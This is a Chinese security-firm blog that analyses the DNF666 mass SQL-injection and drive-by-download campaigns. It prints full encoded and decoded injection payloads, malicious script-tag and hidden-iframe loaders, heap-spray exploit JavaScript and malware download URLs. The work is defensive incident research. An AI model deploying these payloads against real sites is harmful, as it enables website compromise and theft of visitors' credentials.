阿碼外傳-阿碼科技非官方中文 Blog

2010年8月6日

black hat 與 DEF CON 2010 的投影片與程式碼上線了

我們今年在美國駭客年會 black hat 跟 DEF CON 演講的投影片上線了!感謝來聽演講的朋友,謝謝大家的捧場!black hat的演講比較緊張,因為看到台下很多記者,怕會被問一些敏感的問題,所以只好一路把時間用完,然後火速收場。

DEF CON 三場就都講得很開心,我主講的 drivesploit ,是我與同事Antonio Roman Fernandez、Fyodor Yarochkin 還有 Chris Hsiao 一起做的,由我與Roman來講。那場人非常的多,一路排到外面去,大家反應也熱烈。這個題目不是很難,講起來還算輕鬆。

另一場NoSQL,則主要是Kuon做的,由我來講。第三場0Box,則是Birdman與Benson做的,我先回來了,由Benson講。

drivesploit的程式碼在這邊可以下載:http://github.com/waynearmorize/drivesploit

感謝大家的支持!

Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection (blackhat and DEF CON)


NoSQL, no SQL injections? (DEF CON)


0box Analyzer--Afterdark Runtime Forensics for Automated Malware Analysis and Clustering (DEF CON)





繼續閱讀全文...

2010年7月2日

DNF666 大規模SQL掛馬攻擊又來了:4589.in與22dnf.com

(作者:Wayne Huang, Chris Hsiao, Birdman, Wisely Tao, Crane Ku, 以及Armorize其他成員)


在6月13日,我們在blog上講述到 Flash 0day大規模掛馬攻擊研究。根據我們的分析,這一波的攻擊也是由"DNF666"這個團體所發起的。 以下是我們的分析。


前一篇 (查看前一篇blog):

5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本
6月11日:2677.in--第二波大規模掛馬攻擊開始。

我們把這個攻擊的團體稱之為 "DNF666",Wall Street Journal 即是被robint.us所打中如同 Jerusalem 所發佈的文章. 而且超過114,000網頁被掛了馬, 而所有的這些主要就是為了散佈惡意程式盜取亞洲線上遊戲的密碼

而中國、台灣及一些亞洲區的一些網站即是他們鎖定的目標。

以下就是他們最近所做的事:

6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊

相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼

不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249)
4. 鎖定亞洲區以台灣為主的網站

[1.伺服器端]

在這兩個嘗試裡,我們看到了新的探測字串 (thanks to SmartWAF team Wisely and Crane):

' aND '8'='8
' aND '8'='3
'/**/aND/**/'8'='8
'/**/aND/**/'8'='3
%' aND '8%'='8
%' aND '8%'='3
%' aND '8'='8
%' aND '8%'='3
%'/**/aND/**/'8'='8
%'/**/aND/**/'8%'='3
' XoR '8'='3
' XoR '8'='8
' XoR '8'='3
' XoR '8'='8
'/**/XoR/**/'8'='3
'/**/XoR/**/'8'='8


這個SQL injection的技巧是他們經常使用的:
4589.in sample:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463334333533383339324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B6520272725343538392E696E2527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

22dnf.com:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

解碼後, 4589.in:


get /default.aspx?imgbtnlogin=1;declare @s varchar(8000) set @sdeclare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f343538392e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%4589.in%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;-- exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

22dnf.com:


get /default.aspx?imgbtnlogin=1;declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f3232646e662e63 6f6d2f66662f792e6a733e3c2f7363726970743e as varchar(51)) where ['+@c+'] not like ''%22dnf%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt


沒有發現什麼新的SQL injection攻擊技巧,不過這一次這個團體有:

A. 使用新的探測技巧。
B. 鎖定有弱點的IIS+ASP 及 IIS+ASP.NET 網站。
C. 鎖定亞洲區以台灣為主的網站。


4859.in SQL injections來自IP: 95.211.130.71, 反查指到那個網域: 4859.in,和iamcome.in. iamcome.in 是在上一次的攻擊中被DNF666團體所使用的而這是第一個線索指出這兩個攻擊是跟DNF666團體有關。

22dnf.com SQL injections 來自204.74.216.42這個IP,它是一家位於北京rashost.com所擁有的(DNS: 204-74-216-42.vps.rashost.com). 而這個名為"22dnf"(同樣含有"dnf")為第二個線索指出這一波的掛馬是跟DNF666有所關連的。

這裡是被掛馬的一些網站的搜尋畫面
4589.in:


22dnf.com:

掛馬片段:
4589.in (note in the 上次06/11日2677.in所做的這個js 的檔案名一樣為 "yahoo.js"):

<script src=http://4589.in/yahoo.js></script>


而這是昨天的22dnf.com:

<script src=http://22dnf.com/ff/y.js></script>

事實上這一波的攻擊手法幾乎跟上次一模一樣,所以很多網站都是被二度入侵的:

[2.使用者端]

讓我們把焦點放在昨天的大規模SQL掛馬攻擊上--22dnf.com。 下面是y.js:

try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://22dnf.com/ff/cc.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ie.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ad.html width=0 height=0></iframe>");}

所以"y.js"載入了3個htmls--cc.html, ie.html,及ad.html.其中cc.html載入cnzz.com來當造訪人次的計數器,而ie.html 則針對漏洞 CVE-2010-0806, 而ad.html 則是針對另一個漏洞CVE-2010-0249.

ie.html 結合了一個DOM-based的技巧來規避自動化惡意網頁(drive-by download)偵測機制,就像我們的我們HackAlert.攻擊程序是由DOM物件來觸發:

<button id="bo" onclick="payload();" STYLE="DISPLAY:NONE"></button>
...
document.getElementById("bo").onclick();

ad.html 結合了一個類似DOM-based的技巧--這攻擊程序 evl() 是由圖片物件以onload事件來觸發:

<img src="XIGUA.GIF" onload="ev1(event)">

而這兩個技巧可以很有效的來打敗,單純以javascript引擎而非DOM來實作的"行為模式"掃瞄引擎 --例如,單純以SpiderMonkey or Rhino的一些實作。

而真正的shellcode是被存放在 ff/a.gif 之中--這是一個常見的技術,能讓攻擊更有彈性,同時也是用來規避偵測為其目的。而這個掛馬攻擊很明顯的是由,掛馬工具CuteQQ / Anhey drive-by 套件所製成, 而這點成為了第三個線索指出這個這攻擊是由DNF666所為。

在漏洞被利用成功之後,它的shellcode會來載入s.exe, 之後自202.109.143.79:81/s.txt遠端讀取下載命令。s.txt的內容如下:

123

http://202.109.143.79:81/ma.exe

所以s.exe 會來下載 ma.exe這支惡意程式。

[3.實際的惡意程式]

在我們的分析結果中這個 ma.exe 惡意程式跟我們上次的分析是一樣的,主要就是要來盜取密碼用的,而它主要所盜取的為以下的線上遊戲:

aion.plaync.co.kr
aion.plaync.jp
df.nexon.com
maplestory.nexon.com

[4.結論]

這兩個的攻擊都是由DNF666所發起,而他們至少也牽涉三起先前的大規模SQL掛馬攻擊,這是我們的結論。我們再為這波的攻擊做個重點提要:

相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼

不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249).
4. 鎖定亞洲區以台灣為主的網站

時間表:

5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本
6月11日:2677.in--第二波大規模掛馬攻擊開始。

6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊


繼續閱讀全文...

2010年6月17日

Flash 0day 大規模掛馬攻擊研究:robint.us與2677.in

(作者:Wayne Huang, Fyodor Yarochkin, Aditya Sood, Jeremy Chiu, Wisely Tao, Kuon Ding, Crane Ku, Sun Huang, 以及Armorize其他成員)(英文版在這裡

最近讀了一些媒體對於此次 Adobe Flash 0day (現在已經不是0day了 ) (CVE-2010-1297) 大規模SQL injection掛馬--robint.us與2677.in的報導,覺得都沒有寫到重點,所以在這邊分享我們的報告。

伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。

使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。

整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。

以下是完整報告。

[0. 背景]

6月04日:Adobe 發佈弱點通知
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本
6月11日:2677.in--第二波大規模掛馬攻擊開始。

[1. 伺服器端]

以下是一些攻擊前的測探(感謝SmartWAF team提供):


' and char(124)+user+char(124)=0 and ''='
' and char(124)+user+char(124)=0 and '%25'='
and char(124)+user+char(124)=0
' and 1=1 and ''='

沒什麼特別。以下則是實際的GET request:

Sample 1:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

Sample 2:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt


由於攻擊是針對ASP.NET,我們注意到GET後面有加:_viewstate=ddwxmzk4nt。這對繞過某些WAF有幫助。

上面的code解碼後變成:


dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F323637372E696E2F7961686F6F2E6A733E3C2F7363726970743E aS vArChAr(50)) where ['+@c+'] not like ''%yahoo.js%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--

轉換成小寫比較容易讀:


declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f323637372e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%yahoo.js%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--

以上並沒太大特別之處,從2008年初開始的大規模掛馬攻擊,SQL注入手法大致都是如上。

我們研究30個被感染的網站,如預期,感染的網站都是IIS與ASP.NET。


[2. 使用者端]

下面是受感染網頁的取樣:

<div class="tomsqre_top"><p><img width="758" height="700" src="/userfiles/image/20100520_tomsquare.jpg" alt="" /></p><script src=http://2677.in/yahoo.js></script></div>


<title>New Vans and Used Vans Ipswich<script src=http://2677.in/yahoo.js></script> - Norfolk Trucks Ipswich</title>

yahoo.js是我們所謂的「entry snippet」,也就是受感染的源頭。接下來攻擊觸發之流程為:

以下我們描述細部過程。

1. http://2677.in/yahoo.js 動態產生兩個iframe,連向: http://2677.in/cnzz.html (網站流量統計服務 counter) and http://2677.in/ie.htm (flash 攻擊程式 exploit)

try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}

2. http://2677.in/cnzz.html 使用免費流量統計服務 cnzz.com 來觀察感染趨勢。

<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>


我們連往流量統計的業面,可以發現攻擊者的代號是"dnf666."。很耳熟嗎?

沒有錯,這個跟三月發生的"dnf666.net"大規模掛馬攻擊事件,是同一團體。代號一樣:dnf666,SQL與掛馬手法如出一轍,也都是使用cnzz作為流量統計服務。

然後其實,robint.us攻擊事件,也是使用cnzz:http://s11.cnzz.com/stat.php?id=2095356&web_id=2095356
更好玩的是,三月時發生的"dnf666.net"攻擊事件,其實惡意網址中有"robints.us"。對,比這次"robint.us",多了一個"s"。

這裡有更多的證據。

所以目前的結論是,三月時"dnf666"發動了一波大規模掛馬攻擊,使用的惡意網址中包含了robints.us。最近,他們利用了Adobe Flash 0day (VE-2010-1297)發動了另一波攻擊:robint.us以及2677.in.

DNF就是地下城與勇士(Dungeon Fighter),在台灣是遊戲橘子代理,在內地是放在QQ平台上。dnf666.net這個網站,當初一開始是散播(非法)DNF的外掛。

分析這些資訊,看在到本文的結論:這兩波攻擊,都是為了偷線上遊戲帳號,其實已經不意外了。

3. http://2677.in/ie.html 將執行heap spray的程式,存於一個DOM物件中:

解碼後比較容易看:


var a = new Array();
var xcode=loader("log.txt","MM","NN")*262144;
var shellcode=loader("log.txt","XX","YY");
var ls = xcode-(shellcode.length*2+0x01020);
var b = loader("log.txt","VV","WW");
while(b.length<ls)
{
b+=b;
}
var lh=b.substring(0,ls/2);
delete b;
lh = lh + shellcode;

在我們的流程圖中,我們將這個標示成"trick 1",因為這個技巧(trick)可以躲過某些自動化行為偵測工具,也就是只有實做javascript引擎而沒有實做DOM的自動化行為偵測工具。換言之,如果單純使用SpiderMonkeyRhino,沒有加其他機制,或補強,那麼這個技巧就很可能可以多過偵測。

4. 這個DOM物件被<div id=sun>ie.html中的javascript利用eval()執行,然後向log.txt中取的攻擊用的shellcode。

var str=document.getElementById("sun").innerHTML;
eval(unescape(str));

在我們的流程圖中,我們將這個標示成"trick 2",因為這招對於某些自動化行為偵測工具有下。工具如果沒有實做完整的瀏覽器環境,那麼就無法向外取的log.txt中的shellcode。另一方面,這也讓該掛馬架構多些彈性:改shellcode不需改binary。

5. http://2677.in/ie.html中內嵌了flash(swf)的攻擊程式anhey.swf(CVE-2010-1297)

document.write("<embed src='anhey.swf' width='0' height='0'></embed>");

就這樣子了。ie.html中的javascript執行heap spray,並將經由log.txt取得的shellcode放入記憶體中,然後再經由anhey.swf來觸發攻擊。

看到這些手法,,還有"anhey.swf"這個檔名(robint.us / 2677.in 兩波攻擊都是此檔名),很多人應該已經猜出掛馬產生的工具了。
第一波robint.us攻擊中有以下程式碼:

var cuteqq = unescape(payload.replace(/CUTE/g, "%u"));
nopsled = unescape("%u0a0a%u0a0a");

這裡有第二個關鍵字:"cuteqq"。

CuteQQAnhey是同一家公司,兩個網址都對應到同一個網站,專門賣產生掛馬的工具:

我們看以下畫面。這個工具可以讓攻擊者填入要使用的網頁流量統計網頁(這次用的是cnzz.com)。同時,也支援"flash 10 0day"。中間則可以選一些躲避偵測的技術。


6. http://2677.in/anhey.swf 攻擊Adobe flash 的CVE-2010-1297,並於受害者機器中產生(drop)http://2677.in/log.exe

7. http://2677.in/log.exe的行為如下:

Behavior: DLL-Injection (Target: rundll32.exe) functions.

Modules
Base=10000000 Size=00003000 rundll32.exe

Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log

Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp

讀取: http://d.iamcome.in/u.txt,內容:

222
http://d.iamcome.in/ma.exe


8. 根據u.txt中的指令,log.exe下載惡意程式http://d.iamcome.in/ma.exe,ma.exe行為如下:

Behavior: DLL-Injection (Target: explorer.exe) functions.

Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe

Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21

Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos

ma.exe偷以下的線上遊戲帳號:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com

[3. 結論]

伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。

使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。

整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。

[4. 相關報導]
ThreatPost: SQL Injection Attacks Aimed at Stealing Gaming Credentials, Experts Say
InformatinWeek: SQL Injection Attacks Return
H-Online: Mass website hack aimed at online gamers
Host Exploit: SQL Injection Attacks Return

[5. 附錄]

1. HackAlert V3 forensics query dump

Visited path: http://2677.in/ie.html
Source code:
======

<script language='JavaScript'>
function ajax()
{
var xmlhttp_request = false;
try {
xmlhttp_request= new ActiveXObject('Msxml2.XMLHTTP');
} catch (e)
{
try {
xmlhttp_request= new ActiveXObject('Microsoft.XMLHTTP');
} catch (E) {
xmlhttp_request= null;
}
}
if (!xmlhttp_request && typeof XMLHttpRequest != 'undefined')
{
xmlhttp_request= new XMLHttpRequest();
}
return xmlhttp_request;
}
function loader(url,a,b)
{
var xmlhttp = ajax();
xmlhttp.open('get', url, false);
xmlhttp.send();
var page = xmlhttp.responseText;
page=page.replace(/jj/g,"%u");

var x=page.indexOf(a);
var y=page.indexOf(b)
var code=page.substring(x+2,y);
code=unescape(code);
return code;

}
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
var i=0;
var j=0;
var bb=new Array();
for (i = 0; i < 0xd0; i++)
a[i] = lh.substr(0, lh.length);

for(i=0;i<0x100;i++)
for(j=0;j<0x10;j++)
bb[i*0x10+j] = lh.substr(0, (0x10000-(0x01020))/2);
for(i=0;i<0x100;i++)
for(j=0;j<0x0f;j++)
bb[i*0x10+j]=null;

for (i = 0x1d0; i < loader("log.txt","MM","NN")*0x100; i++)
a[i-0x100] = lh.substr(0, lh.length);

for(i=0;i<0x100;i++)
bb[i*0x10+0x0f]=null;
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");

</script>

========
Visited path: http://2677.in/cnzz.html
Source code:
======
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>

========
Visited path: http://2677.in/yahoo.js
Source code:
======
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
========
Visited path: http://www.ex-designz.net/topnavmenu.css
Source code:
======
#hnavmen {
float:right;
width:100%;
(truncated)
========
Visited path: http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191
Source code:
======
function gv_cnzz(of){
var es = document.cookie.indexOf(";",of);
if(es==-1) es=document.cookie.length;
return unescape(document.cookie.substring(of,es));
}
(truncated)
========

2. Parts of anhey.swf:

internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}

public dynamic class ball extends flash.display::MovieClip
{

//========================= Variables
public var nsPoints : NumericStepper;
public var test1 : *;
public var test2 : *;
public var a : *;
public var b : *;
public var test5 : *;
public var test6 : *;
public var rbEvenOdd : RadioButton;
public var test8 : *;
public var test9 : *;
public var test3 : *;
public var test4 : *;
public var test7 : *;

//========================= Methods

public static function ball()
{
return;

}


public function ball()
{
super();
addFrameScript(0, this.frame1);
this.__setProp_nsPoints_Scene1_Layer1_0();
this.__setProp_rbEvenOdd_Scene1_Layer1_0();
return;

}


internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}


internal function frame1()
{
this.a = "bbbbbbbbbbbbbbbbbbbbbb";
this.b = "zbzabbbbbbbbbbbbbbb";
this.test3 = "aaaaaaaaaaaaaaaaa";
this.test1 = "aaaaaaaaaaaaaaaaa";
this.test2 = "aaaaaaaaaaaaaaaaa";
this.test4 = "aaaaaaaaaaaaaaaaaasdasdasdasdasdasdasdasdasdasdasdasdasdasdas";
this.test5 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test6 = "sdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdaaaaaaa";
this.test7 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test8 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test9 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
return;

}


internal function __setProp_rbEvenOdd_Scene1_Layer1_0()
{
try {
this.rbEvenOdd["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.rbEvenOdd.enabled = true;
this.rbEvenOdd.groupName = "rbgW";
this.rbEvenOdd.label = "sdadasd";
this.rbEvenOdd.labelPlacement = "right";
this.rbEvenOdd.selected = true;
this.rbEvenOdd.value = "0";
this.rbEvenOdd.visible = true;
try {
this.rbEvenOdd["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}


}
public dynamic class focusRectSkin extends flash.display::MovieClip
{

//========================= Methods

public static function focusRectSkin()
{
return;

}


public function focusRectSkin()
{
super();
return;

}


}

}

(作者:Wayne Huang, Fyodor Yarochkin, Aditya Sood, Jeremy Chiu, Wisely Tao, Kuon Ding, Crane Ku, Sun Huang, 以及Armorize其他成員)

繼續閱讀全文...

